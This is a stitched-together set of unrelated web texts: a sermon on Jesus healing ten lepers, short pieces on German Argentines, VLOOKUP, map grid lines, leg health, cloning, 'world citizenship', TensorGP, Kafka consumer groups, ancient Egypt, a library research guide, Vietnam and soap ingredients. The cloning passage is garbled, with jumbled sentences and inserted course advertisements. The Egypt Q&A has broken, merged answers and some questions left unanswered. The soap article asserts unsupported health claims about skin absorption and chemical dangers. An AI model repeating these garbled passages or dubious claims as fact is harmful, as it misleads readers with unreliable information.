The procedure to examine the healed lepers again and proclaim them healed and clean is described in Leviticus 14: 1- 20.
For cleansing a leper, he is brought before the priest, outside the camp.
The priest goes out the camp and examine them.
If the leper is healed, the priest shall order that two live clean birds and some cedar wood, scarlet yarn and hyssop be brought for the person to be cleansed. (vs.4)
Then the priest shall order that one of the birds be killed over fresh water in a clay pot. (vs.5)
He is then to take the live bird and dip it in the blood of the bird mixed with water.
The priest also dips the cedar wood, the scarlet yarn and the hyssop, into the blood.
Then he sprinkles the blood on the healed leper seven times and pronounce him clean. (vs.7)
The healed person must wash their clothes, shave off all their hair and bathe with water; then he will be ceremonially clean.
After this they may come into the camp, but they must stay outside their tent for seven days.
On the seventh day they must shave off all their hair; they must shave their head, their beard, their eyebrows and the rest of their hair.
They must wash their clothes and bathe themselves with water, and they will be clean.
“On the eighth day they must bring two male lambs and one ewe lamb a year old, each without defect, along with a measure of the finest flour mixed with olive oil for a grain offering, and one log of oil. (10)
The priest who pronounces them clean shall present both the one to be cleansed and their offerings before the Lord at the entrance to the tent of meeting.
Then the priest is to take one of the male lambs and offer it as a guilt offering, along with the log of oil; he shall wave them before the Lord as a wave offering. (vs. 12)
He is to slaughter the lamb in the sanctuary area.
The priest shall then take some of the log of oil, pour it in the palm of his own left hand, dip his right forefinger into the oil in his palm, and with his finger sprinkle some of it before the Lord seven times.
The rest of the oil in his palm the priest shall put on the head of the one to be cleansed and make atonement for them before the Lord. (18)
Then the priest is to sacrifice the sin offering and make atonement for the one to be cleansed from their uncleanness. (Leviticus 14: 1- 20)
Turning to Jesus
However, only one man returned to thank Jesus for the healing.
Even though Jesus did not withhold healing from the nine who did not thank Him, He made a point of noting their lack of gratefulness (Luke 17:18).
Because they had faith, all ten were physically healed.
Luke makes special mention of the fact that the one who returned was a Samaritan, a person despised by the Jews.
Jesus expressed disappointment that the other nine had not thought to give praise to God for their healing.
But only the Samaritan turned back to praise God and “fell before his feet” and thanked Jesus.
This questioning is designed not for the missing nine or the Samaritan, but for the consideration of Jesus’ disciples and curious onlookers.
This Samaritan is going to receive healing deeper than the physical healing.
All the ten received physical healing but only a Samaritan received spiritual healing along with the physical healing.
Because only the Samaritan returned to Jesus to thank Him personally.
It is the beginning of a personal relationship with Jesus.
And Jesus’ question asking, where are the other nine Jews, is a proclamation of salvation to all who return to Him, whether they are Jew or gentile.
Ten lepers received physical healing, but nine were not ready to meet Jesus for a personal relationship.
Thus goes the salvation to the gentiles.
Faith alone
And how the tenth leper received salvation? Through faith and faith alone.
Let us go through the process once again to learn how faith brought the miracle in them.
First, all of them had a huge faith in God.
The lepers, as they saw Jesus passing by, cried for His mercy towards them.
Jesus told the men to show themselves to a priest while they still had leprosy.
In faith they moved forward to go to the priest and they went that they were cured.
That meant believing against the evidence and trusting God even when they didn't really have grounds to do so.
When Jesus said: “Go, show yourselves to the priests”, the evidence proved that they were still lepers.
But as they went, the evidence changed.
That's almost a definition of faith – trusting in what we cannot prove by evidences.
Hebrews 11:1 says that faith is "the substance of things hoped for, the evidence of things not seen".
If we want everything plain and clear before we take a step of faith, it's not really faith.
Faith is trust, even when we don't understand and even when the evidence is against us.
It's trust that God will make it right.
In the story, only one of the ten comes back to thank Jesus. But all of them had a huge faith in God.
Second, the one who comes back is a Samaritan.
Samaritans were hereditary enemies of Jews, for various reasons.
So why was he the one to come back, rather than the Jews?
Perhaps it was because he had a deeper sense of what had been done for him.
If a Jewish miracle-worker healed Jews it was wonderful, but so he should.
For him to heal a Samaritan was going above and beyond the call of duty.
It was entirely unmerited grace and favor.
If you don't believe you deserve to be saved and God saves you anyway, you will be deeply, deeply grateful.
But this story reminds us that it's those who are most conscious of what's been done for them that are closest to the heart of God.
Third, it speaks of God's grace to everyone.
The men's healing did not depend on them coming back to say thanks.
Jesus healed them anyway.
The healing of the other nine was not withdrawn because they didn't return.
God does lots of good things for everyone, whether they acknowledge it or not.
He makes the sun shine on the righteous and unrighteous and the rain fall on the just and the unjust (Matthew 5: 45).
There are many people who are not Christians, but who are still blessed.
At one level, Christians ought just to be the people who acknowledge what God's done for them, and turn back to say "Thank you."
There is a "common grace" God gives to everyone.
Whether we are Christians or not, we can take pleasure in beauty, in family, in creation and work, in love and in friendship.
These gifts are unconditional; they don't depend on us acknowledging God as our savior, though they may be enriched by accepting the salvation.
This tenth man was already healed of leprosy.
He came back to Jesus, fell down on his face at His feet, giving Him thanks.
Jesus is giving him a spiritual wholeness in addition to the physical healing he had received.
Physical healing must lead us to a spiritual healing.
Otherwise, sin, the root cause of sickness remains the same in us.
This incident is talking about the faithfulness of the tenth leper than the thankfulness.
Faithfulness is demonstrated in two ways.
The lepers asked for the mercy of Jesus, wishing a physical healing from Him.
All of them received the mercy from Jesus; but the Samaritan recognizes more about it.
Mercy has come from Jesus, and returning to thank Jesus is a form of faithfulness to the mercy of God that has been made manifest.
The Samaritan’s thankfulness for his physical healing shows evidence of deeper, spiritual healing, which is our true salvation.
It is here that the odd geographical phrase “between Samaria and Galilee” makes sense.
Jesus broke the boundary line between Samaria and Galilee.
Jesus is a Rabbi, who was not supposed to go to Samaria or not even by the way through Samaria.
A Rabbi is a holy person who is not supposed to go to the area where lepers live.
A Rabbi and a Jew, Jesus should take care not to defile himself with unholy people and unholy land.
But Jesus travelled between Samaria and Galilee, breaking the social and religious customs.
Because, He wanted to extend salvation to those who are outside the camp; to those who are unclean.
The line between who might be saved, leper or clean, Samaritan or Jew, have been breached.
The Samaritan’s return allows Jesus to demonstrate that no one, not a leper, nor a Samaritan, is beyond God’s mercy.
Anyone can experience God’s salvation.
Between Samaria and Galilee, there is only the kingdom of God, in which salvation is available to all who call out for mercy and respond to God’s call with thankfulness and praise.
Let me cut short this message. May God bless you all abundantly!
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Video encyclopedia
German Argentine
A Pomeranian Teleportation: 'The Most German City In Brazil' - Brazil with Michael Palin - BBC One
Largest German community in Latin America celebrates Oktoberfest
World Cup Highlights: Germany - Argentina, Germany 2006
Chile's German immigrants try to erase past
German Argentines are Argentine citizens of German ancestry. They are descendants of Germans who immigrated to Argentina from Germany and elsewhere in Europe. Some German Argentines originally settled in Brazil, then later immigrated to Argentina. Germany as a political entity was founded only in 1871, but immigrants from earlier dates are also considered German Argentines due to their shared ethnic heritage, language and culture. German Argentines today make up the fourth-largest ethnic group in Argentina, with over two million Volga Germans alone. |
LOOKUP And VLOOKUP Function In Microsoft Excel Or Google Spreadsheet
Basically if you want to lookup and retrieve data from a specific range of column in a table you can either using LOOKUP, VLOOKUP or HLOOKUP. In this article i am going to show you an example of using VLOOKUP.
The syntax of VLOOKUP function as you can see in this example :
To make it clear what the above function look on a real spreadsheet with real data, you can look at this picture below.
What is LOOKUP And VLOOKUP function
VLOOKUP is a Spreadsheet function to lookup and retrieve data from a specific column in table. It supports approximate, exact matching, and wildcards for partial matches.
The "V" stands for "vertical". Lookup values must appear in the first column of the table, with lookup columns to the right.
Spreadsheet program is very useful for doing data processing or data manipulation, because there's support to use functions, we can get specific data from specific cells using some logic. we can use some spreadsheet functions.
I don't know how to use LOOKUP function to be properly working. So I can't explain it or giving you an example of using LOOKUP function, i think just using VLOOKUP it can substitute the usage of LOOKUP.
To be honest I've never use Lookup function, because it's never work for me, either i am too stupid or i don't know i use VLOOKUP instead, i beleive it’s works the same, only different orientation of the presented data, the one is horizontal the other is vertical.
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Quick Answer: What Are The Horizontal Lines On The Grid Called?
What are the vertical and horizontal lines on a map?
Latitude and Longitude The horizontal lines are called lines of latitude and the vertical lines are called lines of longitude..
Why are Eastings called Eastings?
The northings are the horizontal lines, and the number written on each of the northings increases from the bottom of the map to the top of the map. … They are called eastings because there numbers increase as you move east on the map.
What are grid lines?
Gridlines in Excel are the horizontal and vertical gray lines that differentiate between cells in a worksheet. The gridlines guide users to differentiate between the specific cells and read the data in an organized manner. They also help users navigate through the worksheet columns and rows with ease.
What property do all horizontal lines have?
A horizontal line has the same height at all points. Since the height of a horizontal line never changes, the slope of a horizontal line is equal to zero. The equation of a horizontal line is y=b where b is the y-value of every point on the line and the value of the y-intercept of the horizontal line.
What is the function of a horizontal line?
What are the horizontal lines on a map called?
Horizontal mapping lines on Earth are lines of latitude. They are known as “parallels” of latitude, because they run parallel to the equator.
What is the rule for horizontal lines on a coordinate grid?
A horizontal line is one the goes left-to-right, parallel to the x-axis of the coordinate plane. All points on the line will have the same y-coordinate. In the figure above, drag either point and note that the line is horizontal when they both have the same y-coordinate. A horizontal line has a slope of zero.
What are the vertical lines on the grid called?
A grid of squares helps the map-reader to locate a place. The vertical lines are called eastings. They are numbered – the numbers increase to the east.
What are northing lines?
Definition: Northings are numbered horizontal lines found on maps. The equator is a northing line, and additional invisible lines surround the Earth moving away from the equator. Northings. Eastings. Grid Reference.
Are Eastings vertical or horizontal?
The grid numbers on the east-west (horizontal) axis are called Eastings, and the grid numbers on the north-south (vertical) axis are called Northings. Numerical grid references consist of an even number of digits. Eastings are written before Northings.
What does horizontal lines look like?
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Ten steps to healthy legs
By Tania Alexander
HUMAN legs are a remarkable piece of human engineering. From waist to toes, there is a network of more than 60 different bones. In a lifetime, the average person walks 150,000 kilometres, 9,000 steps a day and almost four times around the world. TANIA ALEXANDER explains how to keep your legs in peak condition.
OBESITY is linked with osteoarthritis (loss of cartilage in the joints), which commonly affects knees and hips. Carrying too much weight can also lead to varicose veins - dilated superficial veins which range from hardly noticeable to large bunches of grape-like structures behind the knee. About one in three women suffer from varicose veins.
Varicose veins are not life-threatening but they look unsightly and can also be painful. Being overweight can make the condition worse, as can pregnancy, when the hormonal influence of progesterone relaxes the veins. Varicose veins in pregnancy usually improve after the baby is born.
'The most important thing is to have your varicose veins assessed properly, usually with an ultrasound scan,' advises John Scurr, a consultant vascular surgeon from Middlesex Hospital.
You can then be advised on which treatment is most suitable - wearing elastic stockings, surgery, injection treatment or laser treatment.
For further information on varicose veins and other leg vascular problems, see www.jscurr.com EXERCISE is very important for the health of your legs, according to Dr Scurr. 'It doesn't really matter what you do, just get moving.'
Walking is an excellent way to tone the muscles in the leg, reduce body fat and improve circulation.
We may have started walking when we were still in nappies, but according to Alexander Technique teacher Malcolm Balk, most people don't do it properly.
'People walk the same way they sit. If you tend to collapse over a computer, the chances are you take the same pattern along for the walk,' he explains.
'A common habit is walking into the ground rather than over the ground. This means you pound rather than flow, which puts strain on your body.'
The ultimate aim, according to Mr Balk, is to walk tall, smoothly and quietly. Avoid looking down, because this puts your head down and your spine follows, placing pressure on your back and neck.
Keep your head up and look outwards. The head should lead the spine upward, while the knee, not the foot, leads the leg forward.
'If you lead with the foot, your body will tilt backwards rather than encouraging it to lengthen upwards off the legs,' says Mr Balk. 'Try to transfer your weight smoothly from one leg to the next, rather than muscling the body along with excessive effort.' STANDING up, or even sitting down, all day can lead to swollen legs and ankles.
Being inactive causes circulation problems. Normally when you walk, the blood is pumped back towards your heart and swelling is reduced. Putting your feet up for just ten minutes a day can help - lie down on the sofa and make sure your feet are raised higher than your heart. Or raise the end
of your bed by six inches for extra drainage while sleeping.
'Support stockings can also help,' advises Dr Scurr.
Swollen legs can be caused by lymphodema. In addition to arteries which supply the leg with blood and veins that take the blood from the leg, a lymphatic system clears materials which escape from the circulation.
If your lymphatic system is poorly developed or becomes blocked, you are at risk of developing swelling. In most cases lymphodema is treated with elastic compression stockings or an intermittent pneumatic compression pump. Surgery is available in extreme cases.
If you get swollen legs, particularly if it's just on one side, or you have pain or redness, it's important to seek medical advice for a proper diagnosis. JAMIE BAIRD, fitness trainer at the Agua gym in the Sanderson Hotel in London, says: 'Even people who exercise regularly, don't stretch enough. Tight leg muscles can put the whole body out of balance and lead to injury.'
Focus on areas such as the hip flexors (tight from sitting for long periods), calf muscles and Achilles tendon (shortened from wearing high heels) and the iliotibial (IT) band (an area that runs down the outside of the leg from the hip to the knee, commonly tight and painful in runners).
'Try to stretch your legs every day after a warm bath or shower,' advises Mr Baird. 'It's also a good idea to do a specific stretch or yoga class each week to give you a solid hour or more of stretching.'
Sarah Key, physiotherapist to Prince Charles and the Royal Family, recommends the following stretch to improve circulation and reduce puffy ankles.
¿¿ STAND facing up the stairs, holding the bannister and using your forefoot and toes to hang on.
¿¿DROP the back of your feet off a tread, letting your heels dip down towards the step below. You should feel a 'very meaningful' stretch in the back of the calves and Achilles tendon.
'You can even bounce there minutely, attempting to get your heels closer to the tread below,' says Ms Key. 'The discomfort can be marked and you will be able to remain there only for 15-20 seconds at the most.
'This sustained stretch pulls on the veins threading around the inside ankle which, over time, makes the vein walls more elastic.
'Thereafter they expand better, and by allowing a better shunt of blood back up to the heart, you do not get the stasis of circulation which causes the puffiness.
'Stretching the veins keeps the walls young and stops the development of varicose weakenings.' HIGH heels make your legs look longer, but if the heels are more than two inches high, they can throw your body out of alignment.
'Wearing high heels increases your lordotic curve or swayback, which can lead to back pain,' says osteopath Garry Trainer. 'If you wear high heels, try to counteract-this by stretching out your Achilles tendon.
'When sitting at the dinner table, slip off your shoes and extend your heel out so that your foot is flexed, toes pointing towards you.' THE leg is the most common area of the body in which women get malignant melanomas (the deadlier skin cancer). Be vigilant and check regularly for any changes in colour, size or shape of moles.
'The riskiest area for men is their backs, which suggests a link to sun exposure, as both these areas are commonly exposed in the sunshine, with women wearing skirts and men taking their shirts off,' says Jane Melia from the Institute of Cancer Research.
'Skin cancer can occur anywhere, so it's important to check your skin regularly and ask your GP if you have any concerns.' COMMONLY used by physiotherapists for ankle rehabilitation, a wobble board is an excellent way to exercise your ankles and legs, according to Garry Trainer. A wobble board will also help to improve balance, co-ordination and blood circulation. Wobble boards are available from Back 2 £46.25 (0800 5879000). PASSENGERS who fly longhaul are at risk of developing clots in the legs and deep vein thrombosis (DVT).
Dr Scurr recommends that anyone going on a flight of more than eight hours should use an elastic compression stocking, such as Mediven travel stockings (£19.82 including postage and package, 0800 085 3630).
Dr Scurr also recommends doing some exercise before you get on the plane, and avoiding alcohol.
'If you can take aspirin, then half an adult aspirin tablet does help to reduce the risk of blood clots,' he says.
When on the aircraft, move your feet up and down regularly, and ideally walk regularly around the plane. You can also use an in-flight exercise device such as the Air Walker (£11.74, including package and posting, 01582 745700 or www.huntleigh-healthcare.com), which simulates the action of walking while you're in your seat. SHOWERING your legs each day with cold water can improve circulation and tone. Athletes often submerge their limbs in icy water after a heavy training session to reduce swelling and ease soreness. SOMETIMES described as your 'second heart', your leg veins help pump blood back up to the heart.
Nutritionally, the same rules apply for healthy leg vein circulation as for a healthy heart.
Cut back on saturated fats found in red meat and dairy products. Go for monosaturated fats (such as olive oil) and polyunsaturated fats (found in oily fish, cooking oils and some nuts and beans).
There are also natural food supplements which claim to improve leg vein circulation, such as Antistax Leg Vein Health Capsules. These contain red vine leaf extract to help maintain strong leg vein and capillary walls. (£3.99 for 20 tablets from Boots.)
Read more: http://www.dailymail.co.uk/health/article-109065/Ten-steps-healthy-legs.html#ixzz4uO6wpuif
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pros and cons of cloning
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November 29th, 2020
Single-cell organisms like some yeasts and bacteria naturally reproduce clones of parent cells via budding or binary fission. Cloning children could foster an understanding that children can be designed and replicated to the parents’ wishes. Her stint as Manager of the California State Mining and Mineral Museum in California's gold country served to deepen her interest in science which she now fulfills by writing for online science websites. There are many more arguments against reproductive cloning, but this is a brief list of the main arguments. There is also the belief that these clones would be created without a soul. Overall, the developments of scientific research seem to go faster than the actual and real needs of humans, who are the ultimate recipients of such progress. Take an introduction to biology with an online class, Create an A+ Biology research paper with an online class, Discover a mathematical way to observe biology with an online course, Read an interesting article on questions for the GCSE exam, How to Become a Project Manager: A Step-by-Step Guide. The first successful animal cloning occurred over 22 years ago, after a Scottish Blackface sheep surrogate mother gave birth to Dolly on July 5, 1996, at the Roslin Institute, part of the University of Edinburgh. Parents that have lost a child can have that child returned to them with a clone. No longer would there be the worry of scientists harming creatures because these creatures would be cloned specifically for the purpose of research. Many believe that cloning can be used to replace failing organs. The following are some of its most common cons. As such, there would be a lack of diversity in humankind. Parents with no eggs and sperm can create children that are genetically related. Read an interesting article on questions for the GCSE exam. Same sex couples can have children without the use of donor sperm or donor eggs. In the end, legalizing cloning on a wide-scale basis could lead to a disrespect for human life and the individual worth of a person, which might ultimately diminish all humans in the end. However, is it really an option that should be considered as a way to extend human life? People shed millions of cells throughout their day as their skin cells fall off. However, there is a possibility that the age of the donor could be imprinted on the growing embryo. There are a number of negatives involved with reproductive cloning, and they are listed below. The Pros and Cons of Cloning: Is it Worth the Risk? 1. Once born, the individual is a physical copy of the living host that had the cell data collected from it. Human cloning research and techniques could subject the clone to unacceptable risks such as a shortened life, bad health or other unknown problems. Consi… Along with the ability to clone desired traits, there could be the possibility of people deliberately reproducing undesired traits. Clones could be seen as less than human compared with non-clones. Cloning could prove helpful in the research of genetics. Pros: 1. Johns Hopkins University: Ask an Expert: How Close Are We to Cloning Humans? Cloning involves a process of creating identical genes. Molecular Genetics (Biology): An Overview, National Institute of Health: National Institutes of Health Guidelines for Human Stem Cell Research, CNN: Monkey See, Monkey 2: Scientists Clone Monkeys Using Technique That Created Dolly the Sheep, The University of Edinburgh: The Life of Dolly, North Carolina State Extension: Sheep Facts, Georgetown University: Cloning Human Beings. There would be a lack of uniqueness and violate convictions regarding human individuality and freedom. Couples who are unable to naturally conceive will be able to create children to whom they are a genetic relative thanks to human cloning. Human Cloning Pros and Cons. Would there be any defense against people collecting cells and cloning random people?
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A world citizenship?
Economic and power differences have created the segregation of humans trying to control each other, through money or the share of power that each one of us reaches in our lives. Hence, the great social and political divisions have arisen and, as a result, territorial or regional ones. Is a world citizenship possible in a world like ours?
From the origins to the present: achieve power
The struggle for power was evident from the oldest civilizations. On the one hand, the force of money guaranteed a first option to take power over people, territories and properties. However, under some rules of dominance human beings have followed others and conquered territories, countries and creating borders. Some of those rules are ideologies, beliefs, doctrines or simply leadership in certain categories, .
Leaders, even without money and without power, have managed to drag masses of people around the world. In this last century, new figures have emerged with great leadership outside the traditional and historical. Thousands are the examples.
In this era of the Internet, influencers, YouTubers, bloggers, tweeters appear and a new type of world community is being created. They all are basically based on social networks and web 2.0. The content in the form of text, videos and all the forms that emerged from communication technologies have implanted a new culture of communication.
This culture goes beyond any regional or country border and allows the creation of a true world community. But sadly sometimes it works against the human being itself
Why not shouldn’t we really believe that a better world is possible?
Globalization has removed physical barriers and even a large part of the ideological ones. Information technology and communications have promoted a new, global and open world.
It offers the possibility of true inclusion for all. However, technological advances are not entirely in that direction.
A world is brewing in which social norms are going to be the result of agreements between people. In this context, force will be rejected as a form of domination or imposition of rules. Humans are no longer the same, we can be truly equal under the universal right to exist.
But, society still remains divided: countries, people and even families fragmented. Perhaps it would not be better to think of a truly universal world, inclusive for all.
What’s up today?
It is reported that more than 20% of the world population lacks an identity, expressed in a document, sign or sample that can register their name, their offspring or the location on the planet where they reside. Document that serves, at least, as a means of personal identification in society and in life. Isn’t this truly amazing?
Even more incredible is that around 750 million people are illiterate in the world, that is, more than 10% of the world’s population cannot read or write in any of the languages created by humanity itself.
Language, as a means of communication, dates from the emergence of man himself and the written text dates back 3 000 years BC. How is it possible then that on the eve of the year 2021, more than 5,000 years after its invention, human beings still allow such a disaster?
FySelf arrives to demand a better, more complete, more real world, where we are all truly equal and together we fight for human development. Today’s digital world allows us to do so, by overcoming all barriers of power or inefficiency, by allowing us to freely communicate, unite, integrate as ourselves into a whole, promoting best practices for human improvement.
Why not believe then in a world without borders, in which we all consider ourselves within a single homeland: the world, where we have a Global and Universal Citizenship, a World Citizenship. FySelf dreams about it.
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M.B.P (CEO FySelf)
Architect by profession, always passionate about new technologies. Man of enterprises and challenges. He dreams of a world where technology helps us to improve as human beings.
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TensorGP: A Data Parallel Approach to Genetic Programming
Genetic Programming (GP) is an automatic problem-solving technique inspired by nature, that optimizes solutions through the evolution of computer programs. Though a powerful tool, GP is also known to suffer from the burden of being computationally expensive by design. This is especially true during the domain evaluation phase where we have to run our program for every fitness case. Currently, due to the rise of parallel computing in recent years, data vectorization is arguably the most attractive strategy to accelerate the evolutionary process of GP applications.
The main goal of this project is to investigate the advantages of applying data vectorization and fitness caching to the fitness evaluation phase using throughput-oriented architectures such as the GPU. To accomplish this, we developed, implemented, and explored a general-purpose GP engine capable of catering to our vectorization needs – TensorGP.
The Framework
As the name implies, TensorGP works with tensors, which in the context of Machine Learning, are often defined as a multidimensional array of elements. TensorGP takes the classical approach of most other GP systems and expands on it by using TensorFlow to vectorize operations, consequently speeding up the domain evaluation process by seamlessly distributing computational efforts across different hardware architectures. Additionally, TensorFlow allows for the caching of intermediate fitness results, which accelerates the evolutionary process by avoiding the re-execution of highly fit code.
In its simplest form, each individual can be represented as a mathematical expression, as exemplified in Figure 1. TensorGP follows a tree-based approach, internally representing individuals as a tree graph. This implies a first translation phase from string to tree representation, which is only performed at the beginning of the evolutionary process.
Figure 1
Possible genotype to phenotype translation phases in TensorGP.
TensorFlow can either execute in an eager or graph-oriented mode. When it comes to graph execution, TensorFlow internally converts the tree structure into a graph before actually calculating any values. This is done in order to cache potential intermediate results from subtrees, effectively generalizing our tree graph structure to a Directed Acyclic Graph (DAG). On the other hand, the eager execution model allows for the immediate execution of vectorized operations, eliminating the overhead of explicitly generating the intermediate DAG of operations. As the individuals being evolved are constantly changing from generation to generation, it is reasonable to assume that the eager execution mode would instead be a good fit for GP.
Experimental Results
Our early experiments saw the speed comparison between different approaches for both raw domain evaluation and the evolution of a fixed initial population for the symbolic regression problem of approximating the Pagie Polynomial function. In this set of initial benchmarks, an average of 5 runs was performed for every test case. Figure 2 shows the average and standard deviation of timing values (in seconds) across domain sizes ranging from 4,096 points to over 4 million points for domain evaluation.
Figure 2
Speed comparison amongst several iterative and vectorized GP approaches for the evaluation of domains with an exponential increase in size.
These preliminary experimental results demonstrated a preference towards eager execution for our vectorized approach using TensorFlow, verifying the hypothesis that GP does not greatly benefit from graph execution for the evaluation of large domains. Besides, we show that performance gains in excess of 100 times are attainable in certain scenarios when comparing TensorGP to other iterative frameworks such as DEAP.
To furnish our results with statistical significance, a second comparative study was conducted on the same problem, but this time including a wider range of frameworks commonly used in Evolutionary Computation research and with 30 evolutionary runs for each test case.
Figure 3
Speed comparison between TensorGP and other widely used GP frameworks for the execution of a controlled evolutionary experiment across domain sizes..
The experimental results shown in Figure 3 demonstrate that TensorGP consistently achieves faster execution times within the same controlled setup when compared to other systems, managing speedups of up to two orders of magnitude. The relative speedup was shown to increase with the evaluation of larger domains, with some iterative frameworks not being able to complete the same evolutionary runs in a feasible amount of time. This performance increase further makes the case for vectorized evaluation in GP, especially when run on parallel-capable hardware.
Evolutionary Art
TensorGP is not restricted to Symbolic Regression problems. As a matter of fact, due to the increase in tensor evaluation speed, our framework facilitates the exploration of certain parameters such as depth and domain size, which happen to be particularly desirable when applying GP to evolutionary art.
In this context, we integrated our engine with the Neural Image Assessment (NIMA) classifier, ranking images according to how visually appealing they appear to a human subject. NIMA was trained using the Aesthetic Visual Analysis (AVA) dataset, which uses images related to human activities with a fixed size of 224 by 224 pixels. The artifacts generated (i.e. images presented atop of this post) are clear indicators of TensorGP’s potential for artistic production.
Besides, regarding execution time, the evolutionary process involved in the generation of these images with TensorGP was substantially faster (40 seconds) in comparison to DEAP (5 hours and 46 minutes).
TensorGP repository on GitHub
• F. Baeta, J. Correia, T. Martins, and P. Machado, “TensorGP — Genetic Programming Engine in TensorFlow,” in Applications of Evolutionary Computation – 24th International Conference, EvoApplications 2021, 2021, p. to appear. |
Groups and fetching
Learn more about how consumer groups fetch messages.
Kafka consumers are usually assigned to a group. This happens statically by setting the configuration property in the consumer configuration. Consuming with groups will result in the consumers balancing the load in the group. That means each consumer will have their fair share of partitions. Also it can never be more consumers than partitions as that way there would be idling consumers.
As shown in the figure below, both consumer groups share the partitions and each partition multicasts messages to both consumer groups. The consumers pull messages from the broker instead of the broker periodically pushing what is available. This helps the consumer as it won’t be overloaded and it can query the broker at its own speed. Furthermore, to avoid tight looping, it uses a so called “long-poll”. The consumer sends a fetch request to poll for data and receives a reply only when enough data accumulates on the broker.
Figure 1. Consumer Groups and Fetching from Partitions |
Did Ancient Egypt Have Banks?
Who is the richest man in Egypt?
SawirisSawiris, 58, is Egypt’s richest man with a fortune FORBES estimates at $7.2 billion.
Is Egypt the oldest civilization?
According to current thinking, there was no single “cradle” of civilization; instead, several cradles of civilization developed independently. The Fertile Crescent (Mesopotamia and Ancient Egypt) and Ancient India are believed to be the earliest, while Ancient China emerged somewhat later.
Who founded Egypt?
King Menes3100-2686 B.C.) King Menes founded the capital of ancient Egypt at White Walls (later known as Memphis), in the north, near the apex of the Nile River delta.
Did ancient Egypt use money?
Before ancient Egypt started officially using coins as their official currency in 500 BC, the Egyptians used a system of value based on the weights of various metals like silver and copper. … The coin had an eagle standing on a thunderbolt which was an ordinary symbol of the Ptolemaic dynasty.
What made Egypt rich?
Most of Egypt is desert, but along the Nile River the soil is rich and good for growing crops. The three most important crops were wheat, flax, and papyrus. Wheat – Wheat was the main staple food of the Egyptians. … They also sold a lot of their wheat throughout the Middle East helping the Egyptians to become rich.
When did Egypt stop having Pharaohs?
List of pharaohsPharaoh of EgyptFormationc. 3100 BCAbolition343 BC (last native pharaoh) 30 BC (last Greek pharaohs) 314 AD (last Roman Emperor to be called Pharaoh)ResidenceVaries by eraAppointerDivine right8 more rows
Did ancient Egypt have the wheel?
Ancient Egyptians didn’t have the wheel when they built the pyramids; they only had stone and copper tools.
Who invented money?
Who invented school?
Did ancient Egypt have education?
Where is ancient Egypt located today?
Ancient Egypt was a civilization of ancient North Africa, concentrated along the lower reaches of the Nile River, situated in the place that is now the country Egypt.
What originated from Egypt?
Which is oldest civilization in world?
Sumerian civilizationThe Sumerian civilization is the oldest civilization known to mankind.
What was Egypt called before?
In the early period of Egypt, during the Old Kingdom, Egypt was referred to as Kemet (Kermit), or simply Kmt , which means the Black land. They called themselves “remetch en Kermet”, which means the “People of the Black Land”. The term refers to the rich soil found in the Nile Valley and Delta.
Who ruled ancient Egypt?
Did Egyptians worship cats?
Who invented exams?
Who invented time?
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DVS 060, Thomas: Library Resources
Use this guide to find sources for your DVS 060 assignment!
For the assignment, you will need to:
find a contemporary issue to research
find an eBook
find an article
find an authoritative website
develop MLA citations
Why Databases?
from Yavapai College Library
Get Started
opposing viewpoints
Find eBooks
EBSCO eBooks
EBSCO eBooks
Find Articles
college in context
academic search
Find Websites
The following are some general, basic criteria to consider when evaluating resources:
Does the information presented seem accurate?
Are the facts verifiable?
google search
Who is the author?
What expertise does he or she have on this topic?
Who sponsors the site?
Check the domain name (.org, .edu, .gov, etc.) to determine if it is a university, business, organization, or an individual.
What is the stated purpose of the site?
Examine the "About..." or "Mission" links on a web page.
What position or opinion is presented and does it seem biased?
What kind of sites does this one link to?
On what date was the page created?
Do you need more current information?
Do links on the site still work?
Credible Websites, Hartness Library
MLA Style
MLAMLA style, developed by the Modern Language Association, is used for English, foreign languages and general topics. MLA requires parenthetical citations within the text and a corresponding bibliography or works cited list at the end of the paper.
View our concise MLA Style handout (PDF) and the guide to citing in-text (PDF).
MLA Guide
MLA in text citing
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Lori Cunningham
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Information about Vietnam
To help international friends better understand Vietnam country, in this article DichungTaxi bring to you information about Vietnam so you have a complete picture of Vietnam country.
Vietnam Introduction
After two decades of rapid economic growth, Vietnam is considered a developing country. The renewal of politics and economics was initiated in 1986 led Vietnam from one of the poorest countries in the world to become a country with average income levels within just a quarter of a century. Vietnam is a country in Southeast Asia, to the north by the People's Republic of China, to the west by the Lao People's Democratic Republic and the Kingdom of Cambodia, to the east and south by the the East Sea.
Vietnam has more than 85 million people from 54 different ethnic groups, living together in the S-shaped strip with land of 331,000km². Vietnam has more than 3,000 kilometers of coastline. Three quarters of Vietnam's land is mountains and arable land resources for only about 28% of total land area.
Vietnam is the transport hub of the Indian Ocean to the Pacific Ocean.
Vietnam’s Climate: Vietnam is a tropical monsoon
Vietnam’s Terrain: Vietnam Territory covers three quarters is mountains
Vietnam’s Resources: Vietnam has resources are abundant, such as forest resources, fishery resources, tourism resources and diverse types of minerals.
Vietnam’s Administrative units: Vietnam has 63 provinces and cities.
DichungTaxi will update quickly and most complete for you to get useful information about Vietnam to prepare for your trip. |
What’s in your Soap? 4 Ingredients to Avoid.
What’s in your Soap? 4 Ingredients to Avoid.
Did you know that many of our skin products such as soaps, facial cleansers and body washes might actually be doing us more harm than good?
One of the main ways your body acquires nutrients, other than eating, is absorbed through the skin. Your skin is your largest organ—22 square feet on average—and 60 percent of the substances you put on it are eventually absorbed into the bloodstream. This semipermeable membrane allows us to absorb vitamins and minerals, but, unfortunately, it absorbs harmful chemicals we put on it, too.
Unfortunately, chemicals can be found in many soaps which can have lots of harmful effects on the body such as disrupt hormones, flare allergies, lead to reproductive issues and increase risk of some cancers. With serious side effects like these, we need to be particular about what we put on our skin.
Here are four chemicals to watch out for when buying soap:
Tip: If the ingredient is vague, it’s probably hiding something. For example if the soap ingredients lists “Fragrance” and nothing further, it could actually be a cocktail of chemicals and you’d never know it. Most of the time, synthetic chemicals and cancer-causing toxins (like phthalates, used to make fragrances last longer) are hiding under that one sneaky term. Constant exposure to fragrances has been shown to negatively impact the central nervous system and can trigger allergies, migraines and asthma symptoms.
These ingredients are estrogen mimickers—meaning that once applied to the skin, they enter the bloodstream, and the body mistakes them for estrogen. When the body thinks there is an abnormally high amount of estrogen present in the bloodstream due to the presence of these hormone disrupters, it reacts in various ways: decreasing muscle mass, increasing fat deposits, causing early onset of puberty and spurring reproductive difficulties in both men and women.
These chemicals are used to produce lather and bubbles in soap. Some common sulfates are SLS (sodium lauryl sulfate) and SLES (sodium laureth sulfate). Sulfates strip the skin of its natural oils and increase penetration of the skin’s surface. They are also irritants for people with sensitive skin or eczema.
